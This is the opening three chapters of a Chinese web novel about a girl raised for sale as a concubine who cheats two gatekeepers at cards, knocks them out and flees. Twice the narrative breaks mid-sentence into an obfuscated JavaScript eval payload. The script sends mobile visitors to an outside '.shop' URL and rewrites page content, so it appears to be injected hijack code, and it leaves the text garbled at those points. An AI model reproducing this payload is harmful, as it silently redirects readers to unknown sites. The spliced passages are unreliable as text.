《我不做妾》 1. 第1章 夏雨潇潇如帘，院中芭蕉正绿，阶下几点苍翠老苔泛着潮湿的水汽。 沈澜以手支额，斜倚红木案几，透过赭色破子棂窗望出去，忽见有个婆子冒雨匆匆赶来，踩着湿滑的台阶跌了一跤，骂了两句便爬起来，一瘸一拐的走过来。 候在一旁的婢女画屏自然也瞧见了，便笑出声：“这老虔婆被雨一淋，活像个褪了毛的鸭子！” 言语粗俗刻薄，浑然不像十三四岁。 语毕，大概是想起阿娘教她的，便刻意讨好道：“这李婆子必是见姑娘要发达了便来卖乖，姑娘可莫要被她蒙了去！” 闻言，沈澜眉眼分毫不动，只收回视线，扔下手里的《别裁集》，吩咐道：“你且看看我匣子里还有多少银钱？” 画屏正要张口。 “咯吱。”一瘸一拐的李婆子急急忙忙推开老旧的木门，见了坐在玫瑰椅上的沈澜，又堆起笑，细声细气道，“绿珠姑娘，刘妈妈唤你呢！” 沈澜这才动起来，合上书，脸色淡淡的，“知道了，一会儿就去”。 “哎呦喂，绿珠啊，刘妈妈唤你，哪敢耽搁啊！” 沈澜便笑笑。这一笑，晃得画屏和李婆子直发愣。 李婆子回过神来，啧了一声。 怪不得刘妈妈拿绿珠当眼珠子看着，有这等美色，还怕将来攀不上权贵？ 沈澜仿佛没看见李婆子贪婪的目光似的，她起身，“走吧”。 出了房门，画屏跟在她身后打伞，寸步不离。 沿着抄手游廊往外走，芭蕉新绿，竹帘四卷，映出昏昏天光和蒙蒙细雨。各屋里大大小小的姑娘们陆陆续续走出来，如同百川归海般在正厅汇集。 “人都来齐了。”刘妈妈年约三十五，依然纤腰楚楚，风姿绰约。 她坐在上首，摇着一柄如意蝶恋花团扇，视线扫过下首五个已及笄的姑娘，又在沈澜身上顿了顿。 今日沈澜上身穿着月白棱素绢衫，下身一条翠蓝天青重绢刍纱裙，腰悬豆绿鸳鸯汗巾。冒雨前来，衣衫上水气盈盈，似香雾滟滟。 她未曾傅粉描眉，只松松挽了个云髻，斜插着支玲珑白玉莲簪，鸦发间一点玉芙蕖，衬得绿鬓朱颜，雪腮粉面。 刘妈妈笑盈盈地打量她两眼，满意的轻磕杯盖，不疾不徐地抿了口茶：“今儿我请你们来是为了什么，想来你们也知道。” 下首的一群姑娘半垂着头，有的不停拧着帕子，有的茫茫然视线无措，有的高昂起下巴…… 其中，以坐在沈澜对面的那个姑娘最是骄矜。她上身穿着大红织金紧身扣衫，下身一条鸳鸯戏水藕色膝裤，挑红刍纱镶边裙，梳着高髻，插着如意金梅花簪，并几把金虫草扁头簪。 她高高扬起脖颈，满怀期待的望着刘妈妈。 她自然是有资本傲气的。作为这一批瘦马的领头羊，琼华精通琴技，配上她的姿容身段，再学些伺候人的法子，必能叫男人们神魂颠倒，趋之若鹜。 可被人当货物挑拣，甚至被冠以牲畜之名买卖，又能是什么好事呢？ 沈澜恭顺的垂着头，心里暗叹。 她越平静，对面的琼华就越自得，微微扬起下巴，对着沈澜矜持地点点头。 刘妈妈坐在上首，居高临下，将底下姑娘的眉眼官司尽收眼底。 “咚！” 刘妈妈搁下茶盏，警告地看了眼琼华。 琼华微僵，想起刘妈妈的手段，不禁颤抖起来。又觉得自己被沈澜看了笑话，恼得拧着帕子瞪了沈澜一眼，暗啐一声，假清高！ “绿珠、琼华，含珍……”，刘妈妈一一点过所有人的名字，视线扫过去，姑娘们便一个个柔顺地低下头去。 刘妈妈慢条斯理，“三日之后，也就是六月十五的那一日，上午刘老爷要来，下午就是陈老爷、赵老爷”。 “老规矩，被挑中了，你们就一顶小轿，欢欢喜喜嫁过去”。 “可要是一个月内，没一个老爷挑中你……”，她拖长了音调，森森然地扫过底下这群姑娘。 最为高傲的琼华都煞白着脸，瑟瑟发抖，别的姑娘就更别提了。 沈澜自然也要低眉敛目，微微发抖。 刘妈妈满意地啜了口茶水，轻描淡写，“一个月内都没被挑中的话，就得被送去最下等的私窠子里。毕竟我也不能白养你们一场。” 这些姑娘及笄之年，貌美无暇，好似那最上等的官铸银锭，谁能不爱呢？于是刘妈妈看上去更为慈和。 “一年以前，我也带你们去看过了，那种地方……千人枕万人骑，客人里什么脏的烂的都有，玩的花样也多。拿针扎，拿鞭子打，一巴掌一巴掌地扇过来……” 底下姑娘被吓的脸色发白。 刘妈妈和颜悦色，如同一个母亲那般慈爱有加：“你们打从七八岁进来，都是我精心养着的，养出了一身细皮嫩肉，这要是被打了……”她叹了口气，满脸怜惜，“真是可怜呦！” “妈妈，”琼华艰难地扯出一个笑容，“您放心，我们姊妹都懂事的。” “懂事好啊！”刘妈妈站起来，只拉着琼华的手，轻轻拍了拍。 “既然如此，老规矩。”刘妈妈招招手，“来，绿珠你先来”。 沈澜顺从地缓步退回厅外。 刘妈妈坐下，慢条斯理地喝着茶。 李婆子躬身站在门边，高声道：“绿珠姑娘进——” 沈澜便从门外缓步行来，行走之间，刍纱裙掐出一捻捻细细的柳腰，颤巍巍花枝一般的身段绰约多姿，看得刘妈妈微微点头。 “绿珠姑娘过——” 正厅的门槛高，跨进来难免不好看，可沈澜自有她的办法。 只见她裙摆微微一动，如碧波生涟漪，素白潞绸绣鞋轻轻一探，只露出一点含羞带怯的鞋尖，便过了门槛，端的是身姿袅娜。 一个进、一个过，都是为了让主顾看步态。 “绿珠姑娘拜客——” 沈澜便莲步轻移，裙摆生波，对着刘妈妈盈盈一礼。 刘妈妈眉眼含笑，这一步，是为了看仪态 “绿珠姑娘上前——” 沈澜再度上前，离刘妈妈只有五步远了。 这是为了让主顾仔仔细细地看清姑娘们的脸。 见她一双远山眉如清秋月，含情眼盈盈脉脉，朱唇掩着贝齿，香腮胜比细雪，刘妈妈便满意的摇起了团扇。 “绿珠姑娘袖手——” 即刻就有伺候的另一个婆子，轻轻地挽起沈澜的袖子。 手出、臂出，白皙光洁如暖玉，一点疤痕、小痣都没有。 这是为了让主顾验验货品是否有瑕疵，看看成色如何。 不错，胳膊白皙细腻、光洁如新。 刘妈妈笑容愈深。 “绿珠姑娘睄老爷——” 沈澜微微侧身抬头，只望了一眼，便又低下头去。分明是含羞带怯，然则眼神如春日蒲草，丝丝缕缕摇曳于风中，痒得人心猿意马。 这是为了看眼睛，也是为了勾着主顾叫他买了她。 “绿珠姑娘几岁——” “回老爷，绿珠恰逢及笄之年。”沈澜一管嗓音，含着点颤，透着点怯，若空谷黄鹂，又似珠落玉盘。 这是为了听嗓音。 “绿珠姑娘请回——” 沈澜便转身，轻移莲步，背影婀娜地出去了。 这是为了看背影。 这一通看下来，步态、仪态、脸蛋、胳膊、眼神、声音、背影，基本全都看了。这才叫完成了一次见客。 也是姑娘们每日都要练习的东西。 “好！”刘妈妈拊掌大赞：“不愧是我养了七年的娇娇儿。” 说着，她扫过下首四个姑娘道：“一年前绿珠跌了一跤，意外跌进了井里，被救起来后前尘尽忘，别说诗词歌赋，叫酒唱曲，连人都不认得了。如今不过短短一年，她便能做得这般好，你们几个自当好生向她学学。” 话音刚落，沈澜便能感觉到身侧又羡又嫉的几道视线，灼热的恨不能将她盯出个洞来。 沈澜无奈，她与琼华几人关系之所以这么差，一大半都要归功于刘妈妈。 这种挑拨离间，让每个姑娘们陷入孤立无援的境地，相互憎恶，相互盯着对方，甚至争相检举揭发的手段，虽浅薄但有效。 心知肚明刘妈妈的把戏，沈澜却依然要摆出 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“我打小养着你长大，也算情同母女。”刘妈妈感慨不已，“你刚来的时候，瘦骨伶仃，那么小一个，现在都出落成大姑娘了！” 沈澜即刻感激道：“这七年里，多谢妈妈照料。”说着，她盈盈一礼。 “不必不必。”刘妈妈赶紧把她扶起来，还亲昵地拍了拍她的手，“你呀，人虽然话少，傲气些，可我也知道你是这群姑娘里心地最好的。” 沈澜只好羞涩地垂下头去，惹得刘妈妈笑容越深：“妈妈呀，如今要送你一桩大机缘”。 沈澜眼前一亮，有些羞涩，又带着些许野望，“可是有面见哪家权贵的机会？” 刘妈妈顿时满意的点点头。 绿珠不仅有着绝顶的貌美，还有着想往上爬的野心。她绝不满足于给富商们当小妾，而是卯足了劲儿要怕上权贵们的床。 这么多姑娘里，最让人放心的就是她了。 “你也知道，我姓刘，勉强攀上了刘老爷，对外也好说是本家。”刘妈妈慢慢解释，“你可知道，这刘老爷是做什么生意的？” “这刘老爷可是一年前挑走了秋雨姐姐的那位？”那会儿她初来乍到，拖着病体，看着数位富商挑走了三个瘦马。 剩下最后一个，一直没被挑走，最终被卖进了暗门子里。 见刘妈妈笑盈盈点头，沈澜迟疑道：“为我等梳洗的，都是富商，其中以盐商最富。刘老爷应当是盐商吧。可这权贵与盐商有什么关系？一个富，一个贵，沾不上边啊。” 刘妈妈意味深长的笑了笑，这绿珠有点聪明但又不够聪明，这才好呢：“你可知道，新任的两淮巡盐御史来扬州了？” “呀！”沈澜惊呼一声，“莫不是……” 刘妈妈点头，“不错，刘老爷想买了你，献给那位大人！” 沈澜大喜过望，又忽而羞涩下来，垂首，瓮声瓮气道：“不知那位大人……年纪几何？” 还真是姐儿爱俏！刘妈妈更放心了。看权贵不挑官职竟还要挑脸，说明这野心也不够大，不过就是个小姑娘罢了。 刘妈妈越发满意，便笑道：“你放心，听说那位大人年纪轻，生得俊，想来正值盛年呢！” 官员的正值盛年多半已是三四十了，足足比她大了一轮。 可沈澜还是羞涩的低下头去，双颊飞霞，细声细气道：“任由妈妈做主。” 刘妈妈拍拍她的手，“行了，那你先回吧，这几日好好梳妆，但凡能让刘老爷看重你，把你荐给那位大人，你这辈子也算有着落了。” 沈澜羞答答地点头，端端正正行了大礼，“绿珠若将来能发达，必不忘妈妈恩德。” 刘妈妈眼角的笑纹都深了，“好好好，你且去吧。” “谢过妈妈”，沈澜这才转身出去。 见她走到门口，刘妈妈忍不住又提醒了一句，“三日后刘老爷便要来了，这些日子你好好歇息，好生养着。”这可是她的摇钱树啊。 沈澜深深地望她一眼，恭顺道：“多谢妈妈提醒。” 2. 第2章 自厅里出来，又去偏厅练琵琶，刚奏完《月儿高》，又和着乐师唱小曲儿。 练习完了一日全部的课程，已是傍晚，沈澜筋疲力尽的回到房间。一回房，她顾不上歇息，忙问道：“画屏，我还有多少钱？” 早晨才问了一回，这会儿又问，画屏不禁心生鄙夷：“姑娘，你又要去赌啊？攒了七年也才五两银子，这一年来全都快赌光了。” 沈澜只是笑，不答话。为何原身日日熬眼做绣品七年却只攒了五两银子，只因画屏的娘是守门婆子，原身的绣品要靠她们去卖，也不知昧了原身多少银子。 “我马上便要飞黄腾达了，谁还缺这三五两银子！”沈澜抿嘴轻笑。 画屏嘴角往下一撇，心里发酸。若她也能这般好看，享受荣华富贵的便是她了。 “姑娘，只剩下二两银子了。”画屏捧着一堆零碎的铜钱加上一个银角子。 “够了够了。”沈澜急急接过钱，叮嘱道，“好画屏，你可莫要说出去。” 画屏点点头，跟绿珠打马吊的是她亲娘，绿珠十赌九输，最后这钱全进了她娘的口袋里。 画屏只恨不得绿珠再多输一些呢！ 沈澜取了钱，待到夜深人静之时，辞别了画屏，穿着秋香色里衣，白棱底软缎鞋，为了防风又披了件大氅，提着一盏羊角灯，小心翼翼出了房门。 出了门，对出去就是东西厢房，住着琼华她们四个。沈澜资质最好，生得最美，于是她获得了独占一间房的权利。 现在是三更天多一刻钟，沈澜不疾不徐地往后院的小角门走去。 这里是距离内院最近的一扇门，出了这扇门，就是大街。 角门里，两个健硕的婆子陈荷花与王三娘正等着呢。 “绿珠姑娘，怎么才来啊！”王三娘摇着把芭蕉蒲扇嗔怪道，一张老脸皱起来，如同风干的橘皮。 沈澜嗔道：“总得等琼华她们几个睡着了，我们房间离得近，万一被她发现，非得去刘妈妈那儿告我一状不可。” “快快快！”陈荷花催促道，“莫说些有的没的，这马吊都带来了！” 沈澜吃吃笑起来：“陈妈妈这便说错了，三个人玩的可不叫马吊，叫蟾吊。” “哎呦喂，绿珠姑娘书读的多，懂得也多。”王三娘捧了她一句，就指着她一高兴，多赌点，也好多输点。 这两人都是赌鬼，沈澜这些日子晚晚都来赌，已经持续了一年，从最开始的一文到十文、几十文，早把两人的胃口养大了。 “今晚打一吊钱的。”王三娘提议道。 沈澜惊讶之下不免犹豫起来：“这、这一吊钱是不是有些太多了？” 她为难道：“我身上拢共也不过二两银子。” “哎呀，绿珠姑娘怕是一时想岔了！”陈荷花一拍大腿，劝道，“若输了大不了写张欠条，将来姑娘穿金戴银，稀罕这几两银子！还不是随手便还给我们了！” 沈澜想了想，也是，便点头道：“陈妈妈果真才思敏捷，若是年轻些，也是个扫眉才子！” 陈荷花吃吃笑起来，被沈澜哄得高兴。 王三娘在一旁早已赌瘾上头：“快着些快着些！再不赌，天都要亮了！” 三人一起在小凳上坐下来，打蟾吊，沈澜手气差，技术烂，十赌九输，不过几轮，二两银子便输的一干二净。 “哎呀，绿珠姑娘，这怎么就输了呢！”王三娘赢了钱，分明高兴，还是佯装懊恼道。 “不如不赌了？”陈荷花试探道。 “不成！”沈澜赌性正上头，哪肯善罢甘休。 两人和她赌了一年，知道她牵着不走打着倒退的脾气，便想激一激她，看看能不能榨出更多的银钱来：“不赌了不赌了，绿珠姑娘都要输光了！” “那不成！我下一盘！下一盘便能赢回来。”沈澜如同一个输红眼的赌鬼：“我房里共计有一对玉镯、三对耳坠子，四根牡丹吐蕊银簪，两根蝶恋花金簪，还有两对银臂钏。” “我如今拿首饰抵，待我走了你们便去取了这些东西。刘妈妈必定以为首饰是我带走的，见我攀上了高枝，必不敢来问我。届时你们便偷摸把这些东西卖了换成银钱，如何？” 王三娘和陈荷花对视一眼，只觉这法子倒比打欠条强多了。 方才说得欠条不过是拿来哄绿珠这傻姑娘赌钱罢了。毕竟绿珠将来攀上了达官显贵，谁敢拿着欠条去问她要钱？还不如拿首饰抵呢！ “是是，绿珠姑娘当真是……”王三娘没读过书，勉为其难挤出一句“冰雪聪明！” 沈澜颇为受用的抬抬头，看了眼她二人桌上的钱数。 “只一条，我这些首饰可都是真金白银，林林总总加起来足有三十两，这还不算匠人的手艺钱呢！便是不卖，拿去给女儿当陪嫁也是好的。你们桌上加起来也不过七八两银子，这可不够。” 王三娘咬咬牙，“明日！明日我多带些银钱来！带个二十两！” 陈荷花也盘算一番，就绿珠那赌运和牌技，闭着眼都能赢。她咬咬牙：“明日我也带个二十两！” “二十两？”沈澜不满道，“这么点钱就想拿走我的首饰？” 王三娘苦笑道：“姑奶奶啊，你养在深闺不晓得，这二十两都够一家五口过个好年了，还能存下几两银子呢！” 沈澜蹙眉道：“你莫不是骗我？” 陈荷花连忙搭话：“我哪儿敢啊！” “罢了罢了。”沈澜摆摆手，“二十便二十吧。我回去好生拜拜易安居士，明日必杀你们个片甲不留！” 说罢，起身提着灯笼离开。 陈荷花和王三娘顿时美滋滋的点起眼前的银钱。 就这么一会儿功夫，俩人联手，便赢了绿珠二两银子，傻子的钱真好挣！ 沈澜回了房，见她一脸怏怏不乐的躺上床，画屏便知道，这是又输钱了。 躺在床上翻来覆去睡不着，沈澜烦躁道：“画屏，去点支安神香。” 画屏心知她是输了钱心里烦睡不着，也不想惹她，便乖乖起身点了一支安神香。 谁知她朦朦胧胧快要入睡了，沈澜又道：“这大晚上的，开了窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375385|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还那么闷，画屏，你去把房门开了透透气。” 困的迷迷糊糊的画屏不想动弹，沈澜便嘟嘟囔囔地自己起身开了门。 侧耳听着沈澜上床的脚步声，又见她放下纱帐铜钩安生入睡，画屏这才闭上眼。 夏季的晚风吹拂进来，吹散了室内的热气，沈澜与画屏两人在安神香的作用下，迷迷瞪瞪地睡着了。 第二天，刘妈妈又叫沈澜等人练习功课。 吟诗作对、吹拉弹唱，都是自小要学的功夫。到了晚上，更阑人静，沈澜又提着灯笼准时准点的出现在了角门。 “哎呀，绿珠姑娘可来了！”王三娘急忙道：“快快！我二人今日可都带够了钱！” 沈澜闻言，便昂头道：“这还差不多！” 三人也不多话，就坐在角门前的小凳上，打起蟾吊来。 沈澜的赌技是真的烂，赌运也不好。就这么一会儿功夫，她竟将三支银簪子全都输了出去。 她咬着红润的嘴唇，有些犹豫要不要赌下去了。 “要不今儿就到这里吧。”沈澜道。 王三娘正赢得高兴，哪肯让她走，连忙嚷嚷起来：“输了就要走，会坏了赌运的！” 陈荷花一边盘算着自己将来能拿走多少首饰，一边忙劝道：“是极是极，人总不可能一直输下去。” 沈澜想了想：“你们说的也有几分道理。罢了，今日我必要赢回来。” 说着，又是几局，这下，全部的首饰都输光了。 见她输光了，陈荷花和王三娘强压着喜悦道：“绿珠姑娘，你这今日的牌运不怎么样啊！不如咱们今儿就不玩了。” “那可不行！”沈澜道：“后天刘老爷便要来挑人，明天晚上要准备后天白天的见面，不能玩，今儿是最后一天了！非得玩它个痛快不可！” 陈荷花犹豫道：“可绿珠姑娘，你首饰都输干净了，哪里还有银钱？” 沈澜顿时气道：“好你们俩个老虔婆！赢了钱便要走！哪里有这样的道理！” 王三娘连忙道：“绿珠姑娘，我二人不是……绿珠姑娘！绿珠姑娘！” 绿珠已经提着灯笼气极走了。 王三娘正要去追，被陈荷花一把扯住，“你追她做甚！浑身上下一文钱都没有的穷鬼有甚好追的！” “可、可她将来若是发达了，这、我们会不会得罪了她？” 听了王三娘的忧虑，陈荷花拍拍大腿，笑得泪花都要出来了：“哎呦喂，我在刘妈妈这儿待了十五年了！送走了多少姑娘！说什么攀上高枝了，那都是虚的，旁人捧她两句姑娘姑娘的，还当真了。能出头的瘦马有几个呢！还不是被卖来卖去。真要算起来，这绿珠还不如我们呢！我们好歹都是良籍，她被老子娘卖给刘妈妈的时候，签的可是奴籍！” 说着，她对着绿珠离开的方向狠狠啐了一口，“什么东西！” 沈澜浑然不知道自己挨了骂，便是知道了，她也不在意。 她一路顺顺利利回了房，照旧因为输钱气得睡不着，便点了两支安神香，又开了门散热通风。 3. 第3章 第二天又是照常练习功课，甚至因为明天刘老爷就要来了，成败在此一举，刘妈妈再三警告后早早的叫她们回去，将妆容、衣衫、首饰都选好。 院子里人人慌里慌张，忙忙乱乱。 “画屏，刘妈妈正在琼华房中，你快去问问她可有细细的茶白色素绢，若有，你且去裁一条来，这白棱绢衫得挑边才更好看些。” 画屏应了一声，急匆匆去寻刘妈妈。待她赶回来，沈澜正比划着簪子，见她进来，急急道：“这新得的银丝玲珑莲瓣簪与天青色刍纱罗裙配起来总也怪怪的。你快去跟刘妈妈说说，可有其余银簪玉钗？” 画屏刚跑回来，气还没歇一口，又被支使出去。 可院子里其余几个姑娘们的丫鬟也都忙得团团转，她也不好说什么，只啐了一口惹事精又匆匆去寻刘妈妈。 刚捧着几支玉簪几朵绒花回来，又到了午膳时分，她匆匆去厨房取了粥饭。 下午又被沈澜支使着，说要去打听琼华她几个的打扮，害得她又跑去厢房里探头探脑，差点被人轰出来。 一整日下来，腿都跑细了一圈，人也累得直喘。 画屏坐在椅子上，憋着一连串的咒骂细细清点了各项首饰，取出腰间从不离身的钥匙，要将这些金银玉饰锁回首饰盒中里。 沈澜见了，唉声叹气的摆摆手，“不必锁了，这些首饰我全输给你娘了。” 画屏又惊又喜。这赌鬼竟然将那么多的首饰都输给娘了！那这些首饰岂不是全都是她的了！ 天上掉馅饼，画屏一时间欢喜的竟不知如何是好。 沈澜唉声叹气：“我明儿若是被选中，后天就得走了。今日许是我看见它们的最后一天了。且让我枕着它们睡一晚吧。” 画屏惊喜之下连忙安慰道：“姑娘莫要难过，姑娘这般品貌，嫁给达官贵人都是使得的，将来发达了，穿金戴银，哪里还看的上这些破铜烂铁。” 沈澜摆摆手，怏怏不乐的拿起首饰盒子，依依不舍的抚摸了一番，又将它放在了枕头下。 画屏美滋滋的躺在脚踏上，极快便陷入了美梦。 入夜，这一回沈澜终于没去赌钱了。 她躺在床上，焦虑的翻来覆去。 “画屏，我睡不着，你点安神香了吗？” “姑娘”，画屏在昏昏欲睡中猛地被惊醒，一骨碌从脚踏上爬起来，“婢子再去点一支”。 她打开香盒，顿时垮下脸，回身无奈道，“姑娘，这安神香今日都点了三支了，只剩下最后两支了！”这些日子姑娘输钱日日睡不着，天天点香，点着点着，这香便没了。 今日点这么多，屋子都是安神香的气息。她困到眼珠子都要睁不开了，姑娘竟然还睡不着！ 沈澜叹息着翻了个身，像是在夜里难得想倾诉一下：“画屏啊，我也没法子，明儿就得见客人了，我这心里头慌得很！” “姑娘……别怕，婢子估计今晚姑娘们……都睡不着。”画屏含含糊糊地，上下眼皮子打架。 “唉。”沈澜叹了口气，“天太热，这安神香烟气又重，开着窗都没用，你且起来把门开了。” “姑娘……”，画虞别枝屏整个人都在发飘，窝在脚踏上竭力想爬起来，可头脑昏昏，眼珠子被黏一块了，实在睁不开。 “画屏，画屏。” 画屏竭力想把上下眼皮撕开。 “罢了罢了”，沈澜下了床，穿好鞋，“我去吧。” “咯吱咯吱——” 沈澜轻轻地把老旧的木门开大一些，嘀咕了一句，“可算是透气了”。 往日里也总开着门入睡，画屏甚至都没有听到沈澜脱鞋上床的窸窣声，便已熬不住去会周公了。 沈澜也打了个哈欠，嘟嘟囔囔地说，“画屏，我明儿早上要喝白粥，你记得去取”。 画屏也不知道听没听见，她劳累了一天，又嗅着安神香，此刻沉沉睡去，好梦正酣。 沈澜却没睡，她盯着头顶的素纱帐，时不时掐掐胳膊，强迫自己保持清醒。 鼓打三更，沈澜轻手轻脚地坐起来，取出白日里支开画屏时偷偷藏在寝衣里的空荷包，一把打开首饰盒，将耳坠子扔进荷包，再把金簪银簪攥成一把。 为了能在小小的荷包里塞进更多的簪子，她将尖尖的簪头塞进荷包，半截带着花纹的簪身裸露在荷包外，系紧袋口，在自己腰带上狠狠打了好几个死结。放下宽大的寝衣，根本看不出来。 紧接着，她蹑手蹑脚爬起来，披上大氅，拎起软缎底的绣花鞋，赤脚走在地上，跟猫似的，一点声音都没有。 她越过画屏，轻手轻脚地出了门。 房间的大门敞开着，老旧的木门没发出一丝丝声响，沈澜施施然走了出去。 照旧去了临街的小角门。 “谁啊？” 昏黄的灯光过来了，健仆陈荷花赶忙摇醒另一个王三娘，大声喊道，“谁过来了？！” 王三娘一个激灵，瞪大了眼睛往远处瞧。 朦胧的灯光越来越近，露出了一道剪影。 王三娘眯起眼睛一眼：“哎呀，是绿珠姑娘！” 陈荷花是个老油条，昨晚刚骂过绿珠，今晚又笑嘻嘻，“嗐，我还以为是谁呢？原来是绿珠姑娘来了。” 沈澜在小凳子上坐下来，面上格外紧张，“嬷嬷们，我实在是睡不着了”。 陈荷花和王三娘会心一笑，“绿珠姑娘是心里慌吧？” “唉。”沈澜叹息一声，“我不知道怎么的，越想睡越睡不着，点了安神香还是睡不着。” 说着，她咬咬牙，“我想了想，还是不甘心！” 陈荷花自己就是烂赌鬼，不禁感叹道：“唉，绿珠姑娘这赌运实在有些差。” 沈澜叹息道：“原本我身上没钱也就消停了。可刘妈妈为了我明儿面见刘老爷，给我做了条襦裙，还给我打了一整套头面。这整条刍纱的料子加上头面，在外头可值四五十两呢！” 四五十两！ 陈荷花和王三娘被这个数字冲的头晕目眩。 “我想过了，今儿是我翻盘的最后机会了！”沈澜如同每一个输红了眼的烂赌鬼一般，“今儿最后一次了，你们赌不赌？” 王三娘犹豫了一下，刘妈妈管得严，不允许守夜婆子吃酒赌牌。每天夜里入睡前她都要巡逻一遍，从前绿珠和她们赌牌，都得等刘妈妈巡逻完走了再来的。 可今日，刘妈妈再三强调，明儿就是卖货的日子了，万不可出差错。 一时间，王三娘犹豫不决。 可陈荷花原就是个滚刀肉、老油子，守夜实在无聊，绿珠又日日来赌牌，今日不赌，原就心痒难耐。这会儿绿珠来了，她赌瘾一上来，又被四五十两冲得脑袋发昏，连忙道：“赌赌赌！” 她一答应，王三娘也动摇了。 这绿珠日日都要来赌，瘾头何其大，今日耐不住，得了裙子头面便要来赌，也是正常。更何况赌了一年，无事发生。绿珠还一心要攀附权贵，总不至于逃跑。 一想到逃跑，她忍不住去看绿珠，绿珠双腿被裹在大氅里，这会儿大氅下摆微微滑开，露出细棉布的中衣来。再看看她那双软缎鞋，分明就是她平日里赌钱时的样子嘛！ “王三娘，你到底赌不赌？！”沈澜催促道，“你若不赌，我便与陈妈妈玩儿，两个人玩搭桥便是了。” 王三娘一个激灵，那可不行！那这四五十两银子岂不是要被陈荷花一人独吞了！ 那可是四五十两啊！ “赌赌赌！”王三娘连忙道。 “那行，快！你二人快把马吊、银钱都拿出来！”沈澜说道。 这下两人傻眼了。 马吊还好说，就藏在这一旁的芭蕉树下，翻开草丛，取出便是。可那钱从哪里来啊？ “你昨日不是说今晚不能再赌了吗？我早早的把银钱放家里去了！”陈荷花急道。 那么大一笔银钱，足有二十来两银子，谁会带在身上。 沈澜不耐烦道：“那你去取来便是了，只是先说好，我那裙子加头面少说也要四五十两，你最少也得拿出四十五两银子来。否则不赌。” 四十五两啊！若是输了，这一下子损失那么大一笔银钱，不得气撅过去啊！ 可是要是赢了呢！一人少说也能拿个二十两。这可是二十两啊！ 想想绿珠那赌运，牌技……王三娘试探道：“不知可否打个欠条？若输了钱明儿还你。” 沈澜冷笑一声：“王妈妈，你莫顽笑。我输的钱可都是真金白银。便是要拿衣裙首饰抵押，那也是有实物的，你轻飘飘一张白条，忒不像话。” 王三娘正蹙眉，一旁的陈荷花狠狠心：“我回家拿钱去！” 王三娘一见她答应了，连忙道：“我也回家拿去！” “哎等等。”沈澜忙道：“你们俩都走了，留我一人在这儿，乌漆麻黑的，吓死个人了！” 说着，便思索道：“要不你俩轮流去取钱。反正家住的近，要不了多少功夫。先派一个人拿钱，另一个留在这里陪我说说话，待回来了再让另一个人去取便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375386|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 这话一说，俩人便彻底打消了疑心。哪里有要逃跑的人不支开两人，反倒要留一个人看守自己的呢！ 闻言，王三娘起身道：“我年轻，腿脚快，我先去取，取四十五两，够吗？” 陈荷花刚要点头，沈澜突然道：“你们俩个都四十五两吗？” 说着，她像是意识到自己失言似的，不好意思笑笑，便不说话了。 王三娘心眼多，眨眼便想到了，如果俩人都出四十五两，都赢了，卖裙子头面的钱必定是一人一半。可若是她出的多，届时便能分到更多的钱。 一想明白，王三娘生怕陈荷花也想到，即刻催促道：“老姐姐，你快去把锁打开！我这便去取。” 说着，两人各从腰间取出两把钥匙，分别打开了角门上的两把大铜锁。 门一开，王三娘便提着灯笼，急急忙忙离开了。 这个地方，只剩下陈荷花和沈澜了。 见王三娘走远了，沈澜便过去，“陈妈妈，咱们闲着也是闲着，说说话吧”。 说着，她把放在地上的灯笼提起来到两人中间小桌子的正上方，她慢慢放下来—— “好啊，绿珠姑娘”，陈荷花滔滔不绝，“要我说……哎呀！” 沈澜左手一下子把灯笼怼到陈荷花眼前，她惊呼一声，条件反射往后闪躲。 沈澜猛地抡起小凳子，奋力砸下。 “咚”地一声，陈荷花应声倒地，额头血糊糊的。 沈澜毫不心疼。 为虎作伥的伥鬼，为了钱，送了多少姑娘进了暗无天日的私窠子里。一条一条，全是人命！ 此刻陈荷花已晕，四下无人，按理沈澜已经可以开锁逃跑，但她没有。就好像她不让这俩人同时回家取钱一样。 因为如果此刻她逃跑了，只要有一个人回来喊一声，那她根本跑不远！ 一切顺利，沈澜深呼吸一口气，按照计划把陈荷花拖起来藏进周围草丛里。 王三娘一走，此刻门上只有陈荷花负责的那把铜锁还锁着。 沈澜取了她的钥匙开了铜锁，紧接着，用脚抵住角门，又拿着小凳子藏在角门边上，细细的听着外头的动静。 她活了两辈子，第一次干这种事，难免心里慌张，她擦擦手汗，深呼吸两下，静静等着王三娘回来。 王三娘是一路跑着去跑着回的，回来得还挺快，她身上带了七十余两银子，这可是全副家当，生怕出事，急匆匆提着灯笼赶回来。 “老姐姐，快开门！” “嗯。”沈澜压低嗓音，随意拨动了一下已经开了却还挂在门上的铜锁，装出有人在开锁的声音。 “老姐姐，你快些！”王三娘催促道。 “好了。”沈澜压低声音，顺势松开脚，举起凳子。 门嘎吱一声便开了。 王三娘推门而入，“老姐姐，我……” “砰——” 候在角门一侧的沈澜喘着粗气，手上还捏着小凳子的腿，又抄起凳子猛地往对方脑袋上狠击了两下。 王三娘的血流得比陈荷花都多。 沈澜不敢耽搁，她搜遍王三娘身上的衣服，找到了七十二两银子，摘掉两人头上戴的首饰，通通塞进荷包里，再将荷包打成死结系在自己腰带上。 紧接着脱掉两人的衣服，将其中一件拧成一根粗粗的布条，围在自己腰上。她腰肢纤细，要想扮成健妇，首先要增加的就是腰围。 